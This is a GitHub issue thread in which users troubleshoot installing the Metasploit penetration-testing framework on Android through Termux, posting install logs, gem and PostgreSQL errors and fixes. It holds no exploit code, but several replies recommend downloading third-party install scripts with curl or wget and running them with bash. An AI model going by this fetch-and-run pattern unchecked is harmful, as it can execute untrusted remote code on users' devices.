Selecting previously unselected package xz-utils.
Preparing to unpack .../59-xz-utils_5.2.3_aarch64.deb ...
Unpacking xz-utils (5.2.3) ...
Selecting previously unselected package tar.
Preparing to unpack .../60-tar_1.30-1_aarch64.deb ...
Unpacking tar (1.30-1) ...
Selecting previously unselected package termux-elf-cleaner.
Preparing to unpack .../61-termux-elf-cleaner_1.2_aarch64.deb ...
Unpacking termux-elf-cleaner (1.2) ...
Selecting previously unselected package unzip.
Preparing to unpack .../62-unzip_6.0-1_aarch64.deb ...
Unpacking unzip (6.0-1) ...
Selecting previously unselected package zip.
Preparing to unpack .../63-zip_3.0-1_aarch64.deb ...
Unpacking zip (3.0-1) ...
Setting up libprotobuf (3.5.1) ...
Setting up ncurses-dev (6.1.20180317) ...
Setting up less (530) ...
Setting up make (4.2.1) ...
Setting up libandroid-shmem (0.2) ...
Setting up libutil (0.3) ...
Setting up grep (3.1) ...
Setting up libbz2 (1.0.6-1) ...
Setting up libgmp (6.1.2) ...
Setting up curl (7.59.0) ...
Setting up readline-dev (7.0.3-2) ...
Setting up termux-elf-cleaner (1.2) ...
Setting up ncurses-utils (6.1.20180317) ...
Setting up protobuf (3.5.1) ...
Setting up libexpat (2.2.5) ...
Setting up libltdl (2.4.6-5) ...
Setting up unzip (6.0-1) ...
Setting up openssl-dev (1.0.2o) ...
Setting up m4 (1.4.18) ...
Setting up ndk-stl (16-4) ...
Setting up coreutils (8.29) ...
Setting up libgpg-error (1.27-1) ...
Setting up libxml2 (2.9.8) ...
Setting up bzip2 (1.0.6-1) ...
Setting up libxml2-dev (2.9.8) ...
Setting up perl (5.26.1) ...
Setting up apr (1.6.3) ...
Setting up libyaml (0.1.7) ...
Setting up libpcap (1.8.1-1) ...
Setting up xz-utils (5.2.3) ...
Setting up c-ares (1.14.0) ...
Setting up libcrypt (0.2) ...
Setting up libsqlite (3.23.0) ...
Setting up libpcap-dev (1.8.1-1) ...
Setting up binutils (2.30-2) ...
Setting up findutils (4.6.0-2) ...
Setting up bison (3.0.4-2) ...
Setting up libgrpc (1.10.0) ...
Setting up libgcrypt (1.8.2) ...
Setting up libffi (3.2.1-2) ...
Setting up ruby (2.4.3) ...
Setting up libandroid-support-dev (22) ...
Setting up git (2.17.0) ...
Setting up sed (4.5) ...
Setting up libtool (2.4.6-5) ...
Setting up libgmp-dev (6.1.2) ...
Setting up apr-util (1.6.1) ...
Setting up libsqlite-dev (3.23.0) ...
Setting up libxslt (1.1.32) ...
Setting up libffi-dev (3.2.1-2) ...
Setting up libgrpc-dev (1.10.0) ...
Setting up autoconf (2.69) ...
Setting up glib (2.56.0) ...
Setting up tar (1.30-1) ...
Setting up zip (3.0-1) ...
Setting up pkg-config (0.29.2) ...
Setting up ruby-dev (2.4.3) ...
Setting up ndk-sysroot (16-8) ...
Setting up postgresql (10.3) ...
Setting up postgresql-dev (10.3) ...
Setting up postgresql-contrib (10.3) ...
Setting up libllvm (6.0.0) ...
Setting up libxslt-dev (1.1.32) ...
Setting up clang (6.0.0) ...
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- 0 0 0 0 0 0 0 0 --:--:-- 0:00:01100 136 0 136 0 0 100 0 --:--:-- 0:00:01 --:--:-- 100
0 0 0 0 0 0 0 0 --:--:-- 0:00:02100 15 100 15 0 0 4 0 0:00:03 0:00:03100 15 100 15 0 0 4 0 0:00:03 0:00:03 --:--:-- 30
tar: This does not look like a tar archive
gzip: invalid magic
tar: Child returned status 1
tar: Error is not recoverable: exiting now
mv: cannot stat '/data/data/com.termux/files/home/metasploit-framework-4.16.49': No such file or directory
metasploit.sh: line 26: cd: /data/data/com.termux/files/home/metasploit-framework: No such file or directory
sed: can't read Gemfile.lock: No such file or directory
sed: can't read metasploit-framework.gemspec: No such file or directory
Fetching: bundler-1.16.1.gem (100%)
Successfully installed bundler-1.16.1
1 gem installed
sed: can't read Gemfile.lock: No such file or directory
Fetching: mini_portile2-2.2.0.gem (100%)
Successfully installed mini_portile2-2.2.0
Fetching: nokogiri-1.8.0.gem (100%)
Building native extensions with: '--use-system-libraries'
This could take a while...
Successfully installed nokogiri-1.8.0
2 gems installed
metasploit.sh: line 43: cd: /data/data/com.termux/files/home/metasploit-framework: No such file or directory
Could not locate Gemfile
Gems installed
rm: cannot remove './modules/auxiliary/gather/http_pdf_authors.rb': No such file or directory
open("/data/data/com.termux/files/usr/lib/ruby/gems/2.4.0/gems/pg-0.20.0/lib/pg_ext.so"): No such file or directory
Creating database
metasploit.sh: line 62: cd: /data/data/com.termux/files/home/metasploit-framework/config: No such file or directory
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- 0 0 0 0 0 0 0 0 --:--:-- 0:00:01 0 0 0 0 0 0 0 0 --:--:-- 0:00:02 0 0 0 0 0 0 0 0 --:--:-- 0:00:03 0 0 0 0 0 0 0 0 --:--:-- 0:00:04 0 0 0 0 0 0 0 0 --:--:-- 0:00:05 0 0 0 0 0 0 0 0 --:--:-- 0:00:06100 351 100 351 0 0 56 0 0:00:06 0:00:06 --:--:-- 95
The files belonging to this database system will be owned by user "u0_a382".
This user must also own the server process.

The database cluster will be initialized with locale "C.UTF-8".
The default text search configuration will be set to "english".

Data page checksums are disabled.

fixing permissions on existing directory /data/data/com.termux/files/usr/var/lib/postgresql ... ok
creating subdirectories ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 128MB
selecting dynamic shared memory implementation ... sysv
creating configuration files ... ok
running bootstrap script ... ok
performing post-bootstrap initialization ... ok
syncing data to disk ... ok

WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the option -A, or
--auth-local and --auth-host, the next time you run initdb.

Success. You can now start the database server using:

pg_ctl -D /data/data/com.termux/files/usr/var/lib/postgresql -l logfile start

waiting for server to start....2018-04-05 08:46:27.698 MSK [24087] LOG: listening on IPv4 address "127.0.0.1", port 5432
2018-04-05 08:46:27.708 MSK [24087] LOG: listening on Unix socket "/data/data/com.termux/files/usr/tmp/.s.PGSQL.5432"
2018-04-05 08:46:27.744 MSK [24091] LOG: database system was shut down at 2018-04-05 08:46:25 MSK
2018-04-05 08:46:27.759 MSK [24087] LOG: database system is ready to accept connections
done
server started
you can directly use msfvenom or msfconsole rather than ./msfvenom or ./msfconsole as they are symlinked to /data/data/com.termux/files/usr/bin

What I'm doing wrong? Resurrection remix, Android 8.1

$ msfconsole
/data/data/com.termux/files/usr/lib/ruby/2.4.0/rubygems/core_ext/kernel_require.rb:55:in require': cannot load such file -- /data/data/com.termux/files/usr/bin/config/boot (LoadError) from /data/data/com.termux/files/usr/lib/ruby/2.4.0/rubygems/core_ext/kernel_require.rb:55:inrequire'
from /data/data/com.termux/files/usr/bin/msfconsole:45:in `

'

I am using termux and this script by auxiliary

@Muhaiminkp u can try manually from wiki or just remove old one and reinstall with this script ( installed recently with this script)

Download with curl

curl -LO https://raw.githubusercontent.com/Hax4us/Metasploit_termux/master/metasploit.sh

Curl command not found :(

apt install curl :)

. /msfconsole
ash:./msfconsole:Nosuchfi.leordi.rectory

after a reinstall of termux because something went with metasploit and wanted to reinstall, now im getting this (and yes i allow it perms to storage) here
`Hit:1 https://termux.net stable InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
3 packages can be upgraded. Run 'apt list --upgradable' to see them.
Reading package lists... Done
Building dependency tree
Reading state information... Done
Package postgresql-contrib is not available, but is referred to by another package.
This may mean that the package is missing, has been obsoleted, or
is only available from another source
However the following packages replace it:
postgresql

E: Package 'postgresql-contrib' has no installation candidate
metasploit.sh: line 23: curl: command not found
tar: can't open '/data/data/com.termux/files/home/4.16.49.tar.gz': No such file or directory
mv: can't rename '/data/data/com.termux/files/home/metasploit-framework-4.16.49': No such file or directory
metasploit.sh: line 26: cd: /data/data/com.termux/files/home/metasploit-framework: No such file or directory`

^ looks like i am missing packs or what?

i tryed @Mohithchowdary method , it did it but Ruby doesn't let me install the last thing (https://cdn.discordapp.com/attachments/391289758900289539/434825456131244033/Screenshot_20180415-001909.jpg)

So i fixed and used the wiki's method by installing the requirements for the manual installation, finally!

hello there. I am trying to fix an error that always happen when i try to execute msfconsole.

/data/data/com.termux/files/home/metasploit-framework/metasploit-framework-4.16.16/config/boot.rb:4: warning: already initialized constant GEMFILE_EXTENSIONS
/data/data/com.termux/files/home/metasploit-framework/config/boot.rb:4: warning: previous definition of GEMFILE_EXTENSIONS was here

the metasploit actually starts, but it doesnt connect to the database, idk if its another problem...

missing packages, try removing the metasploit-framework and use my installer in the repo https://github.com/GeorgeCY2/metasploit-framework-installer-v2

thx GeorgeCY2, i will make an more descriptive text for someone that might have this issue also.

i removed metasploit-framework via "rm -r"
cloned "metasploit-framework-installer-v2" via "git clone"
re-installed metasploit-framework
Done.

Hey,
Please make this app compactable for android 4.4.4

On Thu, Apr 19, 2018, 7:56 PM Wall3rHM2 notifications@github.com wrote:

thx GeorgeCY2, i will make an more descriptive text for someone that might
have this issue also.

i removed metasploit-framework via "rm -r"
cloned "metasploit-framework-installer-v2" via "git clone"
re-installed metasploit-framework
Done.


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-382745556,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ai5ZEpwabCOcutVtIBsYaQB9qjt40TX0ks5tqJeUgaJpZM4LyVa1
.

I don't have any facebook account
So what should i do......

On Fri, Apr 20, 2018, 12:31 PM tomty89 notifications@github.com wrote:

https://wiki.termux.com/wiki/FAQ#Can_Termux_be_installed_on_Android_.3C5.3F


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-382993917,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Ai5ZEiO_9-WAaNTvymOH_K0yYix6KYejks5tqYDcgaJpZM4LyVa1
.

when i type msfconsole, it shows

Failed to connect to the database: FATAL: role "msf" does not exist

Pls help

@mansurabbas, postgresql database did not set up correctly..
follow instructions at https://wiki.termux.com/wiki/Metasploit_Framework Connect to Database

I get this error when type msfconsole and msfvenom

WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x61c
WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb30
WARNING: Nokogiri was built against LibXML version 2.9.7, but has dynamically loaded 2.9.8
WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378
WARNING: linker: redcarpet.so: unused DT entry: type 0x6ffffef5 arg 0x2c4
WARNING: linker: network_interface_ext.so: unused DT entry: type 0x6ffffef5 arg 0x254

How to fix this error? @Auxilus

@yuza98 seem that the gems didn't installed properly, might wanna head to wiki to Installing Gems section, fix the gems then do a bundle install again on metasploit-framework folder

@yuza98 it's not error
use termux-elf-cleaner on the respective files

On Sun, May 6, 2018, 5:03 AM yuza98 notifications@github.com wrote:

I get this error when type msfconsole and msfvenom

WARNING: linker: msgpack.so: unused DT entry: type 0x6ffffef5 arg 0x61c
WARNING: linker: nokogiri.so: unused DT entry: type 0x6ffffef5 arg 0xb30
WARNING: Nokogiri was built against LibXML version 2.9.7, but has
dynamically loaded 2.9.8
WARNING: linker: pcaprub_c.so: unused DT entry: type 0x6ffffef5 arg 0x378
WARNING: linker: redcarpet.so: unused DT entry: type 0x6ffffef5 arg 0x2c4
WARNING: linker: network_interface_ext.so: unused DT entry: type
0x6ffffef5 arg 0x254

How to fix this error? @Auxilus https://github.com/Auxilus


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-386842314,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AWAbzccOkpDVEdQBe0sumHxkQZfl245yks5tvjawgaJpZM4LyVa1
.

Hey i have question
How i create random banner in python2
Like msfconsole banners😅😅

1.) Learn
2.) Not issue related
3.) Drawing with python
@aniketstark

cd $HOME/metasploit-framework/config
$ curl -LO https://Auxilus.github.io/database.yml
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 351 100 351 0 0 588 0 --:--:-- --:--:-- --:--:-- 587
$ mkdir -p $PREFIX/var/lib/postgresql
$ pg_ctl -D $PREFIX/var/lib/postgresql start
waiting for server to start....2018-06-25 18:41:56.628 CET [11733] LOG: could not translate host name "localhost", service "5432" to address: No address associated with hostname
2018-06-25 18:41:56.628 CET [11733] WARNING: could not create listen socket for "localhost"
2018-06-25 18:41:56.628 CET [11733] FATAL: could not create any TCP/IP sockets
2018-06-25 18:41:56.629 CET [11733] LOG: database system is shut down
stopped waiting
pg_ctl: could not start server
Examine the log output.
$ createuser msf
createuser: could not connect to database postgres: could not connect to server: No such file or directory
Is the server running locally and accepting
connections on Unix domain socket "/data/data/com.termux/files/usr/tmp//.s.PGSQL.5432"?
$

how to conect database

you missed initdb $PREFIX/var/lib/postgresql

On Mon, Jun 25, 2018, 11:16 PM mezvengi notifications@github.com wrote:

cd $HOME/metasploit-framework/config
$ curl -LO https://Auxilus.github.io/database.yml
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 351 100 351 0 0 588 0 --:--:-- --:--:-- --:--:-- 587
$ mkdir -p $PREFIX/var/lib/postgresql
$ pg_ctl -D $PREFIX/var/lib/postgresql start
waiting for server to start....2018-06-25 18:41:56.628 CET [11733] LOG:
could not translate host name "localhost", service "5432" to address: No
address associated with hostname
2018-06-25 18:41:56.628 CET [11733] WARNING: could not create listen
socket for "localhost"
2018-06-25 18:41:56.628 CET [11733] FATAL: could not create any TCP/IP
sockets
2018-06-25 18:41:56.629 CET [11733] LOG: database system is shut down
stopped waiting
pg_ctl: could not start server
Examine the log output.
$ createuser msf
createuser: could not connect to database postgres: could not connect to
server: No such file or directory
Is the server running locally and accepting
connections on Unix domain socket
"/data/data/com.termux/files/usr/tmp//.s.PGSQL.5432"?
$

how to conect database


You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/termux/termux-packages/issues/715#issuecomment-400036971,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AWAbzbG5UrmC0UA57ByaR8hj7qsUCHYJks5uASH2gaJpZM4LyVa1
.

Help who tu install metasploit..

u0_a220@localhost ~> msfconsole
Could not find metasploit_payloads-mettle-0.2.5 in any of the sources
Run bundle install to install missing gems.
u0_a220@localhost ~>

@INDOnimous Run bundle install then

I did the "auto" install - https://Auxilus.github.io/metasploit.sh

the DB did not set up, and I suspect this is what's causing msfupdate to fail as well

Downloading nokogiri-1.8.0 revealed dependencies not in the API or the
lockfile (mini_portile2 (~> 2.2.0)).
Either installing with --full-index or running bundle update nokogiri should fix the problem.

In Gemfile:
factory_girl_rails was resolved to 4.9.0, which depends on
railties was resolved to 4.2.10, which depends on
actionpack was resolved to 4.2.10, which depends on
actionview was resolved to 4.2.10, which depends on
rails-dom-testing was resolved to 1.0.8, which depends on
nokogiri

Please hellp me dude i get this error again by agin

use gem install nokogiri -- --use-system-libraries

Nope i try this but nothing

You'll have to connect the db on your own, but for a quick and easy install of metasploit in termux; 1. pkg install ruby-dev

  1. pkg install wget
  2. wget https://Auxilus.github.io/metasploit.sh
  3. bash metasploit.sh

I did automatic install on termux of metasploit. All works. But how to connect to the db?

How to connect db?

I open metasploit it's say segmentation fault how to solve this

ryin to install metasploit on termux but am stuck here
$ ./metasploit.sh
./metasploit.sh: line 1: 404:: command not found

Anyone can help me from this issue https://github.com/rapid7/metasploit-framework/issues/10907
untill now i can't fix,after 10 times uninstalled and rebuild again packages termux lol
Tired for this problems.

I think someone can help me but every step i try always 0

I just put and install manually Metasploit-Termux and don't know how to start for setting postgresql.

Thanks for any help .
Now i can't do anything.

Ok, this is new for me.
After i solved self about why my postgresql not connected even if i run my postgresql using pg_ctl -D

Now when i check

msf > db_status

Result said :

postgresql connected to msf_database

I think this is normal? Cause my friend tell me if postgres connected, it should be said

postgresql connected to msf3 or msf4

Well, i think is it ok
But when i run again

msf > db_status
result said :
Postgresql connected to msf_database
Then show error
2018-11-23 14:19:38.470 WIB [14721] FATAL: terminating connection due to unexpected postmaster exit

After that, i try to create msf_database
And looks good

After that....
Call stalk show up similiar like below :

createdb msf_database
[*] exec: createdb msf_database

msf > db_connect
[-] postgresql already connected to msf_database
[-] Run db_disconnect first if you wish to connect to a different database
msf > db_status
[*] postgresql connected to msf_database
msf > 2018-11-23 14:19:38.470 WIB [14721] FATAL: terminating connection due to unexpected postmaster exit
msf > db_status
[-] Error while running command db_status: PG::ConnectionBad: PQconsumeInput() server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
: SET client_min_messages TO 'warning'

Call stack:
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql/database_statements.rb:155:in async_exec' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql/database_statements.rb:155:inblock in execute'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract_adapter.rb:484:in block in log' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activesupport-4.2.10/lib/active_support/notifications/instrumenter.rb:20:ininstrument'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract_adapter.rb:478:in log' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql/database_statements.rb:154:inexecute'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql/schema_statements.rb:286:in client_min_messages=' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql_adapter.rb:673:inconfigure_connection'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql_adapter.rb:277:in reconnect!' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract_adapter.rb:340:inverify!'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:456:in block in checkout_and_verify' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activesupport-4.2.10/lib/active_support/callbacks.rb:88:in__run_callbacks__'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activesupport-4.2.10/lib/active_support/callbacks.rb:778:in _run_checkout_callbacks' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:455:incheckout_and_verify'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:351:in block in checkout' /data/data/com.termux/files/usr/lib/ruby/2.5.0/monitor.rb:226:inmon_synchronize'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:348:in checkout' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:263:inblock in connection'
/data/data/com.termux/files/usr/lib/ruby/2.5.0/monitor.rb:226:in mon_synchronize' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:262:inconnection'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:292:in with_connection' /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager/connection.rb:123:inconnection_established?'
/data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb:1686:in cmd_db_status' /data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:491:inrun_command'
/data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:453:in block in run_single' /data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:447:ineach'
/data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:447:in run_single' /data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/shell.rb:151:inrun'
/data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart'
/data/data/com.termux/files/usr/bin/msfconsole:49:in `

'
msf >

Is there something wrong with my postgresql?

Before this error show up

I just try for delete database.yml and try following command connect database on termux wiki cause database.yml and postgresql's folder is exist thats why i always fail for setting this postgresql.

After that i succes connected the database
That error call stack show up..

Please help somebody its new for me.

I would appreciate if you have some time for reply my issues :(

@XSecr3t what metasploit version are you using?
I haven't read your callstack yet but I think there was a similar issue reported on metasploit https://github.com/rapid7/metasploit-framework/issues/10948

it was fixed a week ago, so you may want to update your msf version.

also try reinstalling postgresql package and running the steps in wiki for setting up database again..

@Auxilus
Yes is that me, but i think nobody want aswer
So i try comment here

Metasploit Version :
metasploit v4.17.14-dev

What version should i reinstalled?

I think my postgresql was up to date.

[email protected]:~#pkg install postgresql
Hit:1 https://termux.net stable InRelease
Hit:2 https://grimler.se root InRelease
Reading package lists... Done
Building dependency tree
Reading state information... Done
All packages are up to date.
Reading package lists... Done
Building dependency tree
Reading state information... Done
postgresql is already the newest version (11.1).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

If this is true that my postgresql was not newest version
Can you give me some command for reinstalling my postgresql?

Thank you

You need to update metasploit with https://Auxilus.github.io/metasploit.sh

and reinstall postgresql by apt remove postgresql && apt install postgresql

make sure you delete your current metasploit-framework directory before you download new one, as a matter of fact I suggest to pull the repo from https://github.com/rapid7/metasploit-framework which is the latest msf5 branch rather than pulling 4.x.x updates

@Auxilus
Looks like initdb already exist,
Should i skip this step? Or anything else?

$PREFIX/var/lib/postgresql
The files belonging to this database system will be owned by user "u0_a210".
This user must also own the server process.

The database cluster will be initialized with locale "C.UTF-8".
The default text search configuration will be set to "english".

Data page checksums are disabled.

initdb: directory "/data/data/com.termux/files/usr/var/lib/postgresql" exists but is not empty
If you want to create a new database system, either remove or empty
the directory "/data/data/com.termux/files/usr/var/lib/postgresql" or run initdb
with an argument other than "/data/data/com.termux/files/usr/var/lib/postgresql".

I'd say remove that directory and install the db freshly, also are you
running the commands as root?

@Auxilus

So, next step, i should remove postgresql directory?
I already do that before but call stack show up.

If call stack show up again hmm.. Looks something was wrong

No, not rooted device.
My device is 5.1 Lollipop.

So,everyone say is lollipop OS always have many trouble.

@Auxilus

I think this is the point of all problems

WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the option -A, or
--auth-local and --auth-host, the next time you run initdb.

When i deleted postgresql directory and try run initdb
Looks great but one of all lines showing that warning, is that mean something?

After run msfconsole
Looks like good,
But error

Failed to connect to the database: FATAL: role "msf" does not exist

After that
Connected and postgresql running
But only for 30sec connected die
And that Call Stack Show up

@Auxilus
Last :

msf > db_status
[-] Error while running command db_status: FATAL: role "msf" does not exist

Call stack:
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql_adapter.rb:661:in rescue in connect' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql_adapter.rb:650:inconnect'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql_adapter.rb:242:in initialize' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql_adapter.rb:44:innew'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/postgresql_adapter.rb:44:in postgresql_connection' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:438:innew_connection'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:448:in checkout_new_connection' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:422:inacquire_connection'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:349:in block in checkout' /data/data/com.termux/files/usr/lib/ruby/2.5.0/monitor.rb:226:inmon_synchronize'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:348:in checkout' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:263:inblock in connection'
/data/data/com.termux/files/usr/lib/ruby/2.5.0/monitor.rb:226:in mon_synchronize' /data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:262:inconnection'
/data/data/com.termux/files/usr/lib/ruby/gems/2.5.0/gems/activerecord-4.2.10/lib/active_record/connection_adapters/abstract/connection_pool.rb:292:in with_connection' /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/db_manager/connection.rb:123:inconnection_established?'
/data/data/com.termux/files/home/metasploit-framework/lib/msf/ui/console/command_dispatcher/db.rb:1690:in cmd_db_status' /data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:501:inrun_command'
/data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:453:in block in run_single' /data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:447:ineach'
/data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:447:in run_single' /data/data/com.termux/files/home/metasploit-framework/lib/rex/ui/text/shell.rb:151:inrun'
/data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/console.rb:48:in start' /data/data/com.termux/files/home/metasploit-framework/lib/metasploit/framework/command/base.rb:82:instart'
./msfconsole:49:in `

'
msf > createuser msf
[*] exec: createuser msf

msf > db_status
[] postgresql connected to postgres
msf > createdb msf_database
[
] exec: createdb msf_database

msf > db_status
[*] postgresql connected to postgres
msf >

Is this great?
After 30s connection will die :/ due to postmaster exit

Hello,
Excuse me.
I just want ask something
Seems like it is some problems i can't understand

When i start my postgresql using command

pg_ctl -D /data/data/com.termux/files/usr/var/lib/postgresql -l logfile start

The result said ok server started

After that i start ./msfconsole
And looks like everything is ok

But when i try for running some exploit the postgresql still running connection is die ( about 1 minute )
Error Said

FATAL : postmaster exit

After connection die
I try to running again metasploit and see this.

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

 Trace program: running

       wake up, Neo...
    the matrix has you
  follow the white rabbit.

      knock, knock, Neo.

                    (`.         ,-,                                    ` `.    ,;' /
                     `.  ,'/ .'
                      `. X /.'
            .-;--''--.._` ` (
          .'            /   `
         ,           ` '   Q '
         ,         ,   `._    \
      ,.|         '     `-.;_'
      :  . `  ;    `  ` --,.._;
       ' `    ,   )   .'
          `._ ,  '   /_
             ; ,''-,;' ``-
              ``-..__``--`

                         https://metasploit.com


   =[ metasploit v4.17.26-dev                         ]

  • -- --=[ 1829 exploits - 1031 auxiliary - 318 post ]
  • -- --=[ 541 payloads - 44 encoders - 10 nops ]
  • -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

So i check db status
I see
msf > db_status
[*] postgresql selected, no connection

Is ther3 something wrong in my metasploit? Or is it about postgresql?
I already updated my postgresql to the newest version as Auxilus said yesterday.

So what's going on here????

If you can answer please i really appreciate for more information.

Hello,
Excuse me.
I just want ask something
Seems like it is some problems i can't understand

When i start my postgresql using command

pg_ctl -D /data/data/com.termux/files/usr/var/lib/postgresql -l logfile start

The result said ok server started

After that i start ./msfconsole
And looks like everything is ok

But when i try for running some exploit the postgresql still running connection is die ( about 1 minute )
Error Said

FATAL : postmaster exit

After connection die
I try to running again metasploit and see this.

Call trans opt: received. 2-19-98 13:24:18 REC:Loc

 Trace program: running

       wake up, Neo...
    the matrix has you
  follow the white rabbit.

      knock, knock, Neo.

                    (`.         ,-,                                    ` `.    ,;' /
                     `.  ,'/ .'
                      `. X /.'
            .-;--''--.._` ` (
          .'            /   `
         ,           ` '   Q '
         ,         ,   `._    \
      ,.|         '     `-.;_'
      :  . `  ;    `  ` --,.._;
       ' `    ,   )   .'
          `._ ,  '   /_
             ; ,''-,;' ``-
              ``-..__``--`

                         https://metasploit.com


   =[ metasploit v4.17.26-dev                         ]
* -- --=[ 1829 exploits - 1031 auxiliary - 318 post       ]

* -- --=[ 541 payloads - 44 encoders - 10 nops            ]

* -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

So i check db status
I see
msf > db_status
[*] postgresql selected, no connection

Is ther3 something wrong in my metasploit? Or is it about postgresql?
I already updated my postgresql to the newest version as Auxilus said yesterday.

So what's going on here????

If you can answer please i really appreciate for more information.

Please post more output above the FATAL: line

@vishalbiswas

